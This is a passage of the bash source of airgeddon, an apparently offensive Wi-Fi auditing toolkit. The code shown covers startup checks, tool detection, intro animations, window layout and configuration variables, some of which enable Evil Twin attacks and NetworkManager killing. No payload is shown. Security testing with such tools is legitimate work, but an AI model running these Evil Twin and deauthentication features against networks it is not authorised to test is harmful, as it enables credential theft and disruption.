			[[ ${nm_system_version} =~ ^([0-9]{1,2})\.([0-9]{1,2})\.?(([0-9]+)|.+)? ]] && nm_main_system_version="${BASH_REMATCH[1]}" && nm_system_subversion="${BASH_REMATCH[2]}" && nm_system_subversion2="${BASH_REMATCH[3]}"

			[[ ${nm_system_subversion2} =~ [a-zA-Z] ]] && nm_system_subversion2="0"

			if [ "${nm_main_system_version}" -lt ${nm_min_main_version} ]; then
				check_kill_needed=1
			elif [ "${nm_main_system_version}" -eq ${nm_min_main_version} ]; then

				if [ "${nm_system_subversion}" -lt ${nm_min_subversion} ]; then
					check_kill_needed=1
				elif [ "${nm_system_subversion}" -eq ${nm_min_subversion} ]; then

					if [ "${nm_system_subversion2}" -lt ${nm_min_subversion2} ]; then
						check_kill_needed=1
					fi
				fi
			fi
		else
			check_kill_needed=1
		fi
	fi
}

#Determine if airmon check kill should be executed
function should_run_airmon_check_kill() {

	debug_print

	if is_other_evil_twin_instance_running; then
		return 1
	fi

	if "${AIRGEDDON_FORCE_NETWORK_MANAGER_KILLING:-true}" && [ "${check_kill_needed}" -eq 1 ]; then
		return 0
	fi

	return 1
}

#Check if another Evil Twin instance is running
function is_other_evil_twin_instance_running() {

	debug_print

	local agpid=""
	local etset=""

	readarray -t AIRGEDDON_PIDS 2> /dev/null < <(cat < "${system_tmpdir}${ag_orchestrator_file}" 2> /dev/null)
	for item in "${AIRGEDDON_PIDS[@]}"; do
		[[ "${item}" =~ ^(et)?([0-9]+)(rs[0-1])?$ ]] && etset="${BASH_REMATCH[1]}" && agpid="${BASH_REMATCH[2]}"
		if [[ "${agpid}" != "${agpid_to_use}" ]] && [[ "${etset}" = "et" ]] && ps -p "${agpid}" > /dev/null 2>&1; then
			return 0
		fi
	done

	return 1
}

#Run airmon check kill if needed
function run_airmon_check_kill() {

	debug_print

	if should_run_airmon_check_kill; then
		if [ "${1}" = "show_message" ]; then
			language_strings "${language}" 19 "blue"
		fi
		${airmon} check kill > /dev/null 2>&1
		nm_processes_killed=1
	fi
}

#Do some checks for some general configuration
function general_checkings() {

	debug_print

	compatible=0
	check_if_kill_needed

	if [ "${distro}" = "Unknown Linux" ]; then
		non_linux_os_check
		echo -e "${yellow_color}${distro}${normal_color}"
	else
		if [ "${is_docker}" -eq 1 ]; then
			echo -e "${yellow_color}${distro} Linux ${pink_color}(${docker_image[${language}]})${normal_color}"
		else
			echo -e "${yellow_color}${distro} Linux${normal_color}"
		fi
	fi

	if vm_detection; then
		echo
		language_strings "${language}" 803 "yellow"
	fi

	check_compatibility
	if [ "${compatible}" -eq 1 ]; then
		return
	fi

	exit_code=1
	exit_script_option
}

#Check if system is running under Windows Subsystem for Linux
check_wsl() {

	debug_print

	if [ "${distro}" = "Microsoft" ]; then
		echo
		language_strings "${language}" 701 "red"
		language_strings "${language}" 115 "read"
		exit_code=1
		exit_script_option
	fi
}

#Check if the user is root
function check_root_permissions() {

	debug_print

	user=$(whoami)

	if [ "${user}" = "root" ]; then
		if ! "${AIRGEDDON_SILENT_CHECKS:-false}"; then
			echo
			language_strings "${language}" 484 "yellow"
		fi
	else
		echo
		language_strings "${language}" 223 "red"
		exit_code=1
		exit_script_option
	fi
}

#Print Linux known distros
#shellcheck disable=SC2207
function print_known_distros() {

	debug_print

	all_known_compatible_distros=("${known_compatible_distros[@]}" "${known_arm_compatible_distros[@]}")
	IFS=$'\n'
	all_known_compatible_distros=($(printf "%s\n" "${all_known_compatible_distros[@]}" | sort))
	unset IFS

	for i in "${all_known_compatible_distros[@]}"; do
		echo -ne "${pink_color}\"${i}\" ${normal_color}"
	done
	echo
}

#Check if you have installed the tools (essential, optional and update) that the script uses
#shellcheck disable=SC2059
function check_compatibility() {

	debug_print

	local term_width
	local column_width
	local columns
	term_width=$(tput cols 2> /dev/null || echo 80)
	column_width=26
	columns=$(( term_width / column_width ))
	(( columns < 1 )) && columns=1

	if ! "${AIRGEDDON_SILENT_CHECKS:-false}"; then
		echo
		language_strings "${language}" 108 "blue"
		language_strings "${language}" 115 "read"
		echo
		language_strings "${language}" 109 "blue"
	fi

	essential_toolsok=1
	local ok_essential_tools=()
	local error_essential_tools=()

	for i in "${essential_tools_names[@]}"; do
		if hash "${i}" 2> /dev/null; then
			ok_essential_tools+=("${i}")
		else
			error_essential_tools+=("${i}")
			essential_toolsok=0
		fi
	done

	if ! "${AIRGEDDON_SILENT_CHECKS:-false}"; then
		counter=0
		for i in "${ok_essential_tools[@]}"; do
			printf "%-14s" "${i}"
			time_loop
			printf " "; printf "${green_color}Ok${normal_color}"
			((counter++))
			if (( counter % columns == 0 )); then
				echo
			else
				printf "    "
			fi
		done
		if (( counter % columns != 0 )); then
			echo
		fi

		for i in "${error_essential_tools[@]}"; do
			printf "%-14s" "${i}"
			time_loop
			printf " "; printf "${red_color}Error${normal_color}"
			echo -n " (${possible_package_names_text[${language}]} : ${possible_package_names[${i}]})"
			echo
		done
	fi

	if ! "${AIRGEDDON_SILENT_CHECKS:-false}"; then
		echo
		language_strings "${language}" 218 "blue"
	fi

	optional_toolsok=1
	local ok_optional_tools=()
	local error_optional_tools=()

	for i in "${!optional_tools[@]}"; do
		if hash "${i}" 2> /dev/null; then
			if [ "${i}" = "beef" ]; then
				detect_fake_beef
				if [ "${fake_beef_found}" -eq 1 ]; then
					error_optional_tools+=("${i}")
					optional_toolsok=0
					continue
				fi
			fi
			optional_tools[${i}]=1
			ok_optional_tools+=("${i}")
		else
			error_optional_tools+=("${i}")
			optional_toolsok=0
		fi
	done

	if ! "${AIRGEDDON_SILENT_CHECKS:-false}"; then
		counter=0
		for i in "${ok_optional_tools[@]}"; do
			printf "%-14s" "${i}"
			time_loop
			printf " "; printf "${green_color}Ok${normal_color}"
			((counter++))
			if (( counter % columns == 0 )); then
				echo
			else
				printf "    "
			fi
		done
		if (( counter % columns != 0 )); then
			echo
		fi

		for i in "${error_optional_tools[@]}"; do
			printf "%-14s" "${i}"
			time_loop
			printf " "; printf "${red_color}Error${normal_color}"
			echo -n " (${possible_package_names_text[${language}]} : ${possible_package_names[${i}]})"
			echo
		done
	fi

	update_toolsok=1
	if "${AIRGEDDON_AUTO_UPDATE:-true}"; then
		if ! "${AIRGEDDON_SILENT_CHECKS:-false}"; then
			echo
			language_strings "${language}" 226 "blue"
		fi

		local ok_update_tools=()
		local error_update_tools=()

		for i in "${update_tools[@]}"; do
			if hash "${i}" 2> /dev/null; then
				ok_update_tools+=("${i}")
			else
				error_update_tools+=("${i}")
				update_toolsok=0
			fi
		done

		if ! "${AIRGEDDON_SILENT_CHECKS:-false}"; then
			counter=0
			for i in "${ok_update_tools[@]}"; do
				printf "%-14s" "${i}"
				time_loop
				printf " "; printf "${green_color}Ok${normal_color}"
				((counter++))
				if (( counter % columns == 0 )); then
					echo
				else
					printf "    "
				fi
			done
			if (( counter % columns != 0 )); then
				echo
			fi

			for i in "${error_update_tools[@]}"; do
				printf "%-14s" "${i}"
				time_loop
				printf " "; printf "${red_color}Error${normal_color}"
				echo -n " (${possible_package_names_text[${language}]} : ${possible_package_names[${i}]})"
				echo
			done
		fi
	fi

	if [ "${essential_toolsok}" -eq 0 ]; then
		echo
		language_strings "${language}" 111 "red"
		echo
		if "${AIRGEDDON_SILENT_CHECKS:-true}"; then
			language_strings "${language}" 581 "blue"
			echo
		fi
		language_strings "${language}" 115 "read"
		return
	fi

	compatible=1

	if ! "${AIRGEDDON_SILENT_CHECKS:-false}"; then
		if [ "${optional_toolsok}" -eq 0 ]; then
			echo
			language_strings "${language}" 219 "yellow"

			if [ "${fake_beef_found}" -eq 1 ]; then
				echo
				language_strings "${language}" 401 "red"
				echo
			fi
			return
		fi

		echo
		language_strings "${language}" 110 "yellow"
	fi
}

#Check for the minimum bash version requirement
function check_bash_version() {

	debug_print

	bashversion="${BASH_VERSINFO[0]}.${BASH_VERSINFO[1]}"
	if compare_floats_greater_or_equal "${bashversion}" ${minimum_bash_version_required}; then
		if ! "${AIRGEDDON_SILENT_CHECKS:-false}"; then
			echo
			language_strings "${language}" 221 "yellow"
		fi
	else
		echo
		language_strings "${language}" 222 "red"
		exit_code=1
		exit_script_option
	fi
}

#Check if you have installed the tools required to update the script
function check_update_tools() {

	debug_print

	if "${AIRGEDDON_AUTO_UPDATE:-true}"; then
		if [ "${is_docker}" -eq 1 ]; then
			echo
			language_strings "${language}" 422 "blue"
			language_strings "${language}" 115 "read"
		else
			if [ "${update_toolsok}" -eq 1 ]; then
				autoupdate_check
			else
				echo
				language_strings "${language}" 225 "yellow"
				language_strings "${language}" 115 "read"
			fi
		fi
	fi
}

#Update UI layout
function update_ui_layout_on_keypress() {

	debug_print

	animated_flying_saucer_window_correction
}

#Check if window size is enough for intro
function check_window_size_for_intro() {

	debug_print

	window_width=$(tput cols)
	window_height=$(tput lines)

	if [ "${window_width}" -lt 69 ]; then
		return 1
	elif [[ "${window_width}" -ge 69 ]] && [[ "${window_width}" -le 80 ]]; then
		if [ "${window_height}" -lt 20 ]; then
			return 1
		fi
	else
		if [ "${window_height}" -lt 19 ]; then
			return 1
		fi
	fi

	return 0
}

#Print the script intro
function print_intro() {

	debug_print

	echo -e "${yellow_color}                  .__                         .___  .___"
	sleep 0.15 && echo -e "           _____  |__|______  ____   ____   __| _/__| _/____   ____"
	sleep 0.15 && echo -e "           \__  \ |  \_  __ \/ ___\_/ __ \ / __ |/ __ |/  _ \ /    \\"
	sleep 0.15 && echo -e "            / __ \|  ||  | \/ /_/  >  ___// /_/ / /_/ (  <_> )   |  \\"
	sleep 0.15 && echo -e "           (____  /__||__|  \___  / \___  >____ \____ |\____/|___|  /"
	sleep 0.15 && echo -e "                \/         /_____/      \/     \/    \/           \/${normal_color}"
	echo
	language_strings "${language}" 228 "green"
	print_animated_flying_saucer
	sleep 1
}

#Generate the frames of the animated ascii art flying saucer
function flying_saucer() {

	debug_print

	case ${1} in
		1)
			echo "                                                             "
			echo "                         .   *       _.---._  *              "
			echo "                                   .'       '.       .       "
			echo "                               _.-~===========~-._          *"
			echo "                           *  (___________________)     .    "
			echo "                       .     .      \_______/    *           "
		;;
		2)
			echo "                        *         .  _.---._          .      "
			echo "                              *    .'       '.  .            "
			echo "                               _.-~===========~-._ *         "
			echo "                           .  (___________________)       *  "
			echo "                            *       \_______/        .       "
			echo "                                                             "
		;;
		3)
			echo "                                   *                .        "
			echo "                             *       _.---._              *  "
			echo "                          .        .'       '.       *       "
			echo "                       .       _.-~===========~-._     *     "
			echo "                              (___________________)         ."
			echo "                       *            \_______/ .              "
		;;
		4)
			echo "                        *         .  _.---._          .      "
			echo "                              *    .'       '.  .            "
			echo "                               _.-~===========~-._ *         "
			echo "                           .  (___________________)       *  "
			echo "                            *       \_______/        .       "
			echo "                                                             "
		;;
	esac
	sleep 0.4
}

#Adjust visual offset for floating layout render alignment
function animated_flying_saucer_window_correction() {

	debug_print

	local banner=" airgeddon "
	local -a colors=(32 36 37 92 96)
	local stars=( "." "+" "*" "o" "∙" )
	local color_index=0
	local delay_frames=50
	local frame=0
	local color_change_interval=30
	local color_change_counter=0
	local shape=(
		"                       "
		"        _.---._        "
		"      .'       '.      "
		"  _.-~===========~-._  "
		" (___________________) "
		"       \\_______/      "
	)
	local sw=27
	local sh="${#shape[@]}"
	local dx=0
	local vx=1
	local dy=0
	local vy=1
	local lx=0
	local ly=0

	clear
	tput civis

	while true; do
		local cols lines
		cols="$(tput cols)"
		lines="$(tput lines)"
		local row=$((lines / 2))
		local col_start=$(( (cols - ${#banner}) / 2 ))
		local max_x=$((cols - sw))
		local max_y=$((lines - sh))

		(( dx < 0 )) && dx=0 && vx=1
		(( dx > max_x )) && dx=max_x && vx=-1
		(( dy < 0 )) && dy=0 && vy=1
		(( dy > max_y )) && dy=max_y && vy=-1

		local current_color="${colors[color_index]}"

		for ((i=0; i<cols * lines / 100; i++)); do
			local sx=$((RANDOM % cols + 1))
			local sy=$((RANDOM % lines + 1))
			local star="${stars[RANDOM % ${#stars[@]}]}"
			printf "\033[%s;%sH\033[2;37m%s" "${sy}" "${sx}" "${star}"
		done

		if (( frame < delay_frames )); then
			for ((i=0; i<${#banner}; i++)); do
				printf "\033[%s;%sH " "$row" "$((col_start + i + 1))"
			done
		else
			printf "\033[1;%sm" "${current_color}"
			for ((i=0; i<${#banner}; i++)); do
				printf "\033[%s;%sH%s" "$row" "$((col_start + i + 1))" "${banner:i:1}"
			done
			printf "\033[0m"

			((color_change_counter++))
			if (( color_change_counter >= color_change_interval )); then
				color_index=$(( (color_index + 1) % ${#colors[@]} ))
				color_change_counter=0
			fi
		fi

		for ((y=0; y<sh; y++)); do
			(( ly + y < lines )) && printf "\033[%s;%sH%*s" "$((ly + y))" "$((lx + 1))" "${sw}" ""
		done

		printf "\033[1;%sm" "${current_color}"
		for ((y=0; y<sh; y++)); do
			if (( dy + y < lines )); then
				local line="${shape[y]}"
				printf "\033[%s;%sH%-*s" "$((dy + y))" "$((dx + 1))" "${sw}" "${line}"
			fi
		done
		printf "\033[0m"

		lx=${dx}
		ly=${dy}
		((dx+=vx))
		((dy+=vy))
		((frame++))

		if read -t 0.01 -rsn1 key && [[ -z ${key} ]]; then
			tput cnorm
			clear
			break
		fi

		sleep 0.1
	done
}

#Print animated ascii art flying saucer
function print_animated_flying_saucer() {

	debug_print

	echo -e "\033[6B"

	for i in $(seq 1 8); do
		echo -e "\033[7A"
		if [ "${i}" -le 4 ]; then
			saucer_frame=${i}
		else
			saucer_frame=$((i-4))
		fi
		flying_saucer "${saucer_frame}"
	done
}

#Initialize script settings
function initialize_script_settings() {

	debug_print

	distro="Unknown Linux"
	is_docker=0
	exit_code=0
	check_kill_needed=0
	nm_processes_killed=0
	airmon_fix
	autochanged_language=0
	routing_modified=0
	spoofed_mac=0
	mac_spoofing_desired=0
	dhcpd_path_changed=0
	xratio=6.2
	yratio=13.9
	ywindow_edge_lines=2
	ywindow_edge_pixels=18
	networkmanager_cmd="service network-manager restart"
	is_arm=0
	pin_dbfile_checked=0
	beef_found=0
	fake_beef_found=0
	advanced_captive_portal=0
	set_script_paths
	http_proxy_set=0
	hccapx_needed=0
	hcx_conversion_needed=0
	xterm_ok=1
	graphics_system=""
	interface_airmon_compatible=1
	secondary_interface_airmon_compatible=1
	declare -gA wps_data_array
	declare -gA interfaces_band_info
	tmux_error=0
	custom_certificates_country=""
	custom_certificates_state=""
	custom_certificates_locale=""
	custom_certificates_organization=""
	custom_certificates_email=""
	custom_certificates_cn=""
	adapter_vif_support=0
	country_code="00"
	clean_all_iptables_nftables=1
	right_arping=0
	right_arping_command="arping"
	capture_traps_in_progress=""
	enterprise_network_selected=0
	personal_network_selected=0
	selected_network_type_text=""
	unselected_network_type_text=""
	standard_80211n=0
	standard_80211ac=0
	standard_80211ax=0
	standard_80211be=0
	wifi_standard_short=""
	is_vm=0
	vm_vendor=""
}

#Detect graphics system
function graphics_prerequisites() {

	debug_print

	if [ "${is_docker}" -eq 0 ]; then
		if hash loginctl 2> /dev/null && [[ ! "$(loginctl 2>&1)" =~ not[[:blank:]]been[[:blank:]]booted[[:blank:]]with[[:blank:]]systemd|Host[[:blank:]]is[[:blank:]]down ]]; then
			graphics_system=$(loginctl show-session "$(loginctl 2> /dev/null | awk 'FNR == 2 {print $1}')" -p Type 2> /dev/null | awk -F "=" '{print $2}')
		else
			if [ -z "${XDG_SESSION_TYPE}" ]; then
				if [ -n "${XDG_CURRENT_DESKTOP}" ]; then
					graphics_system="x11"
				fi
			else
				graphics_system="${XDG_SESSION_TYPE}"
			fi
		fi
	else
		graphics_system="${XDG_SESSION_TYPE}"
	fi
}

#Detect if there is a working graphics system
function check_graphics_system() {

	debug_print

	case "${graphics_system}" in
		"x11"|"wayland")
			if hash xset 2> /dev/null; then
				if ! xset -q > /dev/null 2>&1; then
					xterm_ok=0
				fi
			fi
		;;
		"tty"|*)
			if [ -z "${XAUTHORITY}" ]; then
				xterm_ok=0
				if hash xset 2> /dev/null; then
					if xset -q > /dev/null 2>&1; then
						xterm_ok=1
					fi
				fi
			fi
		;;
	esac
}

#Detect screen resolution if possible
function detect_screen_resolution() {

	debug_print

	resolution_detected=0
	if hash xdpyinfo 2> /dev/null; then
		if resolution=$(xdpyinfo 2> /dev/null | grep -A 3 "screen #0" | grep "dimensions" | tr -s " " | cut -d " " -f 3 | grep "x"); then
			resolution_detected=1
		fi
	fi

	if [ "${resolution_detected}" -eq 0 ]; then
		resolution=${standard_resolution}
	fi

	[[ ${resolution} =~ ^([0-9]{3,4})x(([0-9]{3,4}))$ ]] && resolution_x="${BASH_REMATCH[1]}" && resolution_y="${BASH_REMATCH[2]}"
}

#Set windows sizes and positions
function set_windows_sizes() {

	debug_print

	set_xsizes
	set_ysizes
	set_ypositions

	g1_topleft_window="${xwindow}x${ywindowhalf}+0+0"
	g1_bottomleft_window="${xwindow}x${ywindowhalf}+0-0"
	g1_topright_window="${xwindow}x${ywindowhalf}-0+0"
	g1_bottomright_window="${xwindow}x${ywindowhalf}-0-0"

	g2_stdleft_window="${xwindow}x${ywindowone}+0+0"
	g2_stdright_window="${xwindow}x${ywindowone}-0+0"

	g3_topleft_window="${xwindow}x${ywindowthird}+0+0"
	g3_middleleft_window="${xwindow}x${ywindowthird}+0+${second_of_three_position}"
	g3_bottomleft_window="${xwindow}x${ywindowthird}+0-0"
	g3_topright_window="${xwindow}x${ywindowhalf}-0+0"
	g3_bottomright_window="${xwindow}x${ywindowhalf}-0-0"

	g4_topleft_window="${xwindow}x${ywindowthird}+0+0"
	g4_middleleft_window="${xwindow}x${ywindowthird}+0+${second_of_three_position}"
	g4_bottomleft_window="${xwindow}x${ywindowthird}+0-0"
	g4_topright_window="${xwindow}x${ywindowthird}-0+0"
	g4_middleright_window="${xwindow}x${ywindowthird}-0+${second_of_three_position}"
	g4_bottomright_window="${xwindow}x${ywindowthird}-0-0"

	g5_left1="${xwindow}x${ywindowseventh}+0+0"
	g5_left2="${xwindow}x${ywindowseventh}+0+${second_of_seven_position}"
	g5_left3="${xwindow}x${ywindowseventh}+0+${third_of_seven_position}"
	g5_left4="${xwindow}x${ywindowseventh}+0+${fourth_of_seven_position}"
	g5_left5="${xwindow}x${ywindowseventh}+0+${fifth_of_seven_position}"
	g5_left6="${xwindow}x${ywindowseventh}+0+${sixth_of_seven_position}"
	g5_left7="${xwindow}x${ywindowseventh}+0+${seventh_of_seven_position}"
	g5_topright_window="${xwindow}x${ywindowhalf}-0+0"
	g5_bottomright_window="${xwindow}x${ywindowhalf}-0-0"
}

#Set sizes for x-axis
function set_xsizes() {

	debug_print

	xtotal=$(awk -v n1="${resolution_x}" "BEGIN{print n1 / ${xratio}}")

	if ! xtotaltmp=$(printf "%.0f" "${xtotal}" 2> /dev/null); then
		dec_char=","
		xtotal="${xtotal/./${dec_char}}"
		xtotal=$(printf "%.0f" "${xtotal}" 2> /dev/null)
	else
		xtotal=${xtotaltmp}
	fi

	xcentral_space=$((xtotal * 5 / 100))
	xhalf=$((xtotal / 2))
	xwindow=$((xhalf - xcentral_space))
}

#Set sizes for y axis
function set_ysizes() {

	debug_print

	ytotal=$(awk -v n1="${resolution_y}" "BEGIN{print n1 / ${yratio}}")
	if ! ytotaltmp=$(printf "%.0f" "${ytotal}" 2> /dev/null); then
		dec_char=","
		ytotal="${ytotal/./${dec_char}}"
		ytotal=$(printf "%.0f" "${ytotal}" 2> /dev/null)
	else
		ytotal=${ytotaltmp}
	fi

	ywindowone=$((ytotal - ywindow_edge_lines))
	ywindowhalf=$((ytotal / 2 - ywindow_edge_lines))
	ywindowthird=$((ytotal / 3 - ywindow_edge_lines))
	ywindowseventh=$((ytotal / 7 - ywindow_edge_lines))
}

#Set positions for y-axis
function set_ypositions() {

	debug_print

	second_of_three_position=$((resolution_y / 3 + ywindow_edge_pixels))

	second_of_seven_position=$((resolution_y / 7 + ywindow_edge_pixels))
	third_of_seven_position=$((resolution_y / 7 + resolution_y / 7 + ywindow_edge_pixels))
	fourth_of_seven_position=$((resolution_y / 7 + 2 * (resolution_y / 7) + ywindow_edge_pixels))
	fifth_of_seven_position=$((resolution_y / 7 + 3 * (resolution_y / 7) + ywindow_edge_pixels))
	sixth_of_seven_position=$((resolution_y / 7 + 4 * (resolution_y / 7) + ywindow_edge_pixels))
	seventh_of_seven_position=$((resolution_y / 7 + 5 * (resolution_y / 7) + ywindow_edge_pixels))
}

#Recalculate windows sizes and positions
function recalculate_windows_sizes() {

	debug_print

	detect_screen_resolution
	set_windows_sizes
}

#Initialization of env vars
#shellcheck disable=SC2145
function env_vars_initialization() {

	ordered_options_env_vars=(
									"AIRGEDDON_AUTO_UPDATE" #0
									"AIRGEDDON_SKIP_INTRO" #1
									"AIRGEDDON_BASIC_COLORS" #2
									"AIRGEDDON_EXTENDED_COLORS" #3
									"AIRGEDDON_AUTO_CHANGE_LANGUAGE" #4
									"AIRGEDDON_SILENT_CHECKS" #5
									"AIRGEDDON_PRINT_HINTS" #6
									"AIRGEDDON_5GHZ_ENABLED" #7
									"AIRGEDDON_6GHZ_ENABLED" #8
									"AIRGEDDON_FORCE_IPTABLES" #9
									"AIRGEDDON_FORCE_NETWORK_MANAGER_KILLING" #10
									"AIRGEDDON_MDK_VERSION" #11
									"AIRGEDDON_PLUGINS_ENABLED" #12
									"AIRGEDDON_EVIL_TWIN_ESSID_STRIPPING" #13
									"AIRGEDDON_EVIL_TWIN_SOUNDS" #14
									"AIRGEDDON_DEVELOPMENT_MODE" #15
									"AIRGEDDON_DEBUG_MODE" #16
									"AIRGEDDON_WINDOWS_HANDLING" #17
									)

	declare -gA nonboolean_options_env_vars
	nonboolean_options_env_vars["${ordered_options_env_vars[11]},default_value"]="mdk4" #mdk_version
	nonboolean_options_env_vars["${ordered_options_env_vars[17]},default_value"]="xterm" #windows_handling

	nonboolean_options_env_vars["${ordered_options_env_vars[11]},rcfile_text"]="#Available values: mdk3, mdk4 - Define which mdk version is going to be used - Default value ${nonboolean_options_env_vars[${ordered_options_env_vars[11]},'default_value']}"
	nonboolean_options_env_vars["${ordered_options_env_vars[17]},rcfile_text"]="#Available values: xterm, tmux - Define the needed tool to be used for windows handling - Default value ${nonboolean_options_env_vars[${ordered_options_env_vars[17]},'default_value']}"

	declare -gA boolean_options_env_vars
	boolean_options_env_vars["${ordered_options_env_vars[0]},default_value"]="true" #auto_update
	boolean_options_env_vars["${ordered_options_env_vars[1]},default_value"]="false" #skip_intro
	boolean_options_env_vars["${ordered_options_env_vars[2]},default_value"]="true" #basic_colors
	boolean_options_env_vars["${ordered_options_env_vars[3]},default_value"]="true" #extended_colors
	boolean_options_env_vars["${ordered_options_env_vars[4]},default_value"]="true" #auto_change_language
	boolean_options_env_vars["${ordered_options_env_vars[5]},default_value"]="false" #silent_checks
	boolean_options_env_vars["${ordered_options_env_vars[6]},default_value"]="true" #print_hints
	boolean_options_env_vars["${ordered_options_env_vars[7]},default_value"]="true" #5ghz_enabled
	boolean_options_env_vars["${ordered_options_env_vars[8]},default_value"]="true" #6ghz_enabled
	boolean_options_env_vars["${ordered_options_env_vars[9]},default_value"]="false" #force_iptables
	boolean_options_env_vars["${ordered_options_env_vars[10]},default_value"]="true" #force_network_manager_killing
	boolean_options_env_vars["${ordered_options_env_vars[12]},default_value"]="true" #plugins_enabled
	boolean_options_env_vars["${ordered_options_env_vars[13]},default_value"]="true" #evil_twin_essid_stripping
	boolean_options_env_vars["${ordered_options_env_vars[14]},default_value"]="true" #evil_twin_sounds
	boolean_options_env_vars["${ordered_options_env_vars[15]},default_value"]="false" #development_mode
	boolean_options_env_vars["${ordered_options_env_vars[16]},default_value"]="false" #debug_mode

	boolean_options_env_vars["${ordered_options_env_vars[0]},rcfile_text"]="#Enabled true / Disabled false - Auto update feature (it has no effect on development mode) - Default value ${boolean_options_env_vars[${ordered_options_env_vars[0]},'default_value']}"
	boolean_options_env_vars["${ordered_options_env_vars[1]},rcfile_text"]="#Enabled true / Disabled false - Skip intro (it has no effect on development mode) - Default value ${boolean_options_env_vars[${ordered_options_env_vars[1]},'default_value']}"
	boolean_options_env_vars["${ordered_options_env_vars[2]},rcfile_text"]="#Enabled true / Disabled false - Allow colorized output - Default value ${boolean_options_env_vars[${ordered_options_env_vars[2]},'default_value']}"
	boolean_options_env_vars["${ordered_options_env_vars[3]},rcfile_text"]="#Enabled true / Disabled false - Allow extended colorized output (ccze tool needed, it has no effect on disabled basic colors) - Default value ${boolean_options_env_vars[${ordered_options_env_vars[3]},'default_value']}"
	boolean_options_env_vars["${ordered_options_env_vars[4]},rcfile_text"]="#Enabled true / Disabled false - Auto change language feature - Default value ${boolean_options_env_vars[${ordered_options_env_vars[4]},'default_value']}"
	boolean_options_env_vars["${ordered_options_env_vars[5]},rcfile_text"]="#Enabled true / Disabled false - Dependencies, root and bash version checks are done silently (it has no effect on development mode) - Default value ${boolean_options_env_vars[${ordered_options_env_vars[5]},'default_value']}"
	boolean_options_env_vars["${ordered_options_env_vars[6]},rcfile_text"]="#Enabled true / Disabled false - Print help hints on menus - Default value ${boolean_options_env_vars[${ordered_options_env_vars[6]},'default_value']}"
	boolean_options_env_vars["${ordered_options_env_vars[7]},rcfile_text"]="#Enabled true / Disabled false - Enable 5Ghz support (it has no effect if your cards are not 5Ghz compatible cards) - Default value ${boolean_options_env_vars[${ordered_options_env_vars[7]},'default_value']}"
	boolean_options_env_vars["${ordered_options_env_vars[8]},rcfile_text"]="#Enabled true / Disabled false - Enable 6Ghz support (it has no effect if your cards are not 6Ghz compatible cards) - Default value ${boolean_options_env_vars[${ordered_options_env_vars[8]},'default_value']}"
	boolean_options_env_vars["${ordered_options_env_vars[9]},rcfile_text"]="#Enabled true / Disabled false - Force to use iptables instead of nftables (it has no effect if nftables are not present) - Default value ${boolean_options_env_vars[${ordered_options_env_vars[9]},'default_value']}"
	boolean_options_env_vars["${ordered_options_env_vars[10]},rcfile_text"]="#Enabled true / Disabled false - Force to kill Network Manager before launching Evil Twin attacks - Default value ${boolean_options_env_vars[${ordered_options_env_vars[10]},'default_value']}"
	boolean_options_env_vars["${ordered_options_env_vars[12]},rcfile_text"]="#Enabled true / Disabled false - Enable plugins system - Default value ${boolean_options_env_vars[${ordered_options_env_vars[12]},'default_value']}"
	boolean_options_env_vars["${ordered_options_env_vars[13]},rcfile_text"]="#Enabled true / Disabled false - Enable ESSID stripping during Evil Twin attacks - Default value ${boolean_options_env_vars[${ordered_options_env_vars[13]},'default_value']}"
	boolean_options_env_vars["${ordered_options_env_vars[14]},rcfile_text"]="#Enabled true / Disabled false - Enable sounds for Evil Twin attacks - Default value ${boolean_options_env_vars[${ordered_options_env_vars[14]},'default_value']}"
	boolean_options_env_vars["${ordered_options_env_vars[15]},rcfile_text"]="#Enabled true / Disabled false - Development mode for faster development skipping intro and all initial checks - Default value ${boolean_options_env_vars[${ordered_options_env_vars[15]},'default_value']}"
	boolean_options_env_vars["${ordered_options_env_vars[16]},rcfile_text"]="#Enabled true / Disabled false - Debug mode for development printing debug information - Default value ${boolean_options_env_vars[${ordered_options_env_vars[16]},'default_value']}"

	readarray -t ENV_VARS_ELEMENTS < <(printf %s\\n "${!nonboolean_options_env_vars[@]} ${!boolean_options_env_vars[@]}" | cut -d, -f1 | sort -u)
	readarray -t ENV_BOOLEAN_VARS_ELEMENTS < <(printf %s\\n "${!boolean_options_env_vars[@]}" | cut -d, -f1 | sort -u)
	readarray -t ENV_NONBOOLEAN_VARS_ELEMENTS < <(printf %s\\n "${!nonboolean_options_env_vars[@]}" | cut -d, -f1 | sort -u)
	ARRAY_ENV_VARS_ELEMENTS=("${ENV_VARS_ELEMENTS[@]}")
	ARRAY_ENV_BOOLEAN_VARS_ELEMENTS=("${ENV_BOOLEAN_VARS_ELEMENTS[@]}")
	ARRAY_ENV_NONBOOLEAN_VARS_ELEMENTS=("${ENV_NONBOOLEAN_VARS_ELEMENTS[@]}")

	if [ -f "${osversionfile_dir}${alternative_rc_file_name}" ]; then
		rc_path="${osversionfile_dir}${alternative_rc_file_name}"
	else
		rc_path="${scriptfolder}${rc_file_name}"
		if [ ! -f "${rc_path}" ]; then
			create_rcfile
		fi
	fi

	env_vars_values_validation
}

#Validation of env vars. Missing vars, invalid values, etc. are checked
function env_vars_values_validation() {

	debug_print

	declare -gA errors_on_configuration_vars
	forced_6ghz_disabled_by_5ghz=0
	forced_5ghz_enabled_by_6ghz=0

	for item in "${ARRAY_ENV_VARS_ELEMENTS[@]}"; do
		if [ -z "${!item}" ]; then
			if grep "${item}" "${rc_path}" > /dev/null; then
				eval "export $(grep "${item}" "${rc_path}")"
			else
				if echo "${ARRAY_ENV_BOOLEAN_VARS_ELEMENTS[@]}" | grep -q "${item}"; then
					eval "export ${item}=${boolean_options_env_vars[${item},'default_value']}"
					errors_on_configuration_vars["${item},missing_var"]="${boolean_options_env_vars[${item},'default_value']}"
				elif echo "${ARRAY_ENV_NONBOOLEAN_VARS_ELEMENTS[@]}" | grep -q "${item}"; then
					eval "export ${item}=${nonboolean_options_env_vars[${item},'default_value']}"
					errors_on_configuration_vars["${item},missing_var"]="${nonboolean_options_env_vars[${item},'default_value']}"
				fi
			fi
		fi
	done

	for item in "${ARRAY_ENV_BOOLEAN_VARS_ELEMENTS[@]}"; do
		if ! [[ "${!item,,}" =~ ^(true|false)$ ]]; then
			errors_on_configuration_vars["${item},invalid_value"]="${boolean_options_env_vars[${item},'default_value']}"
			eval "export ${item}=${boolean_options_env_vars[${item},'default_value']}"
		fi
	done

	for item in "${ARRAY_ENV_NONBOOLEAN_VARS_ELEMENTS[@]}"; do
		if [ "${item}" = "AIRGEDDON_WINDOWS_HANDLING" ]; then
			if ! [[ "${!item,,}" =~ ^(xterm|tmux)$ ]]; then
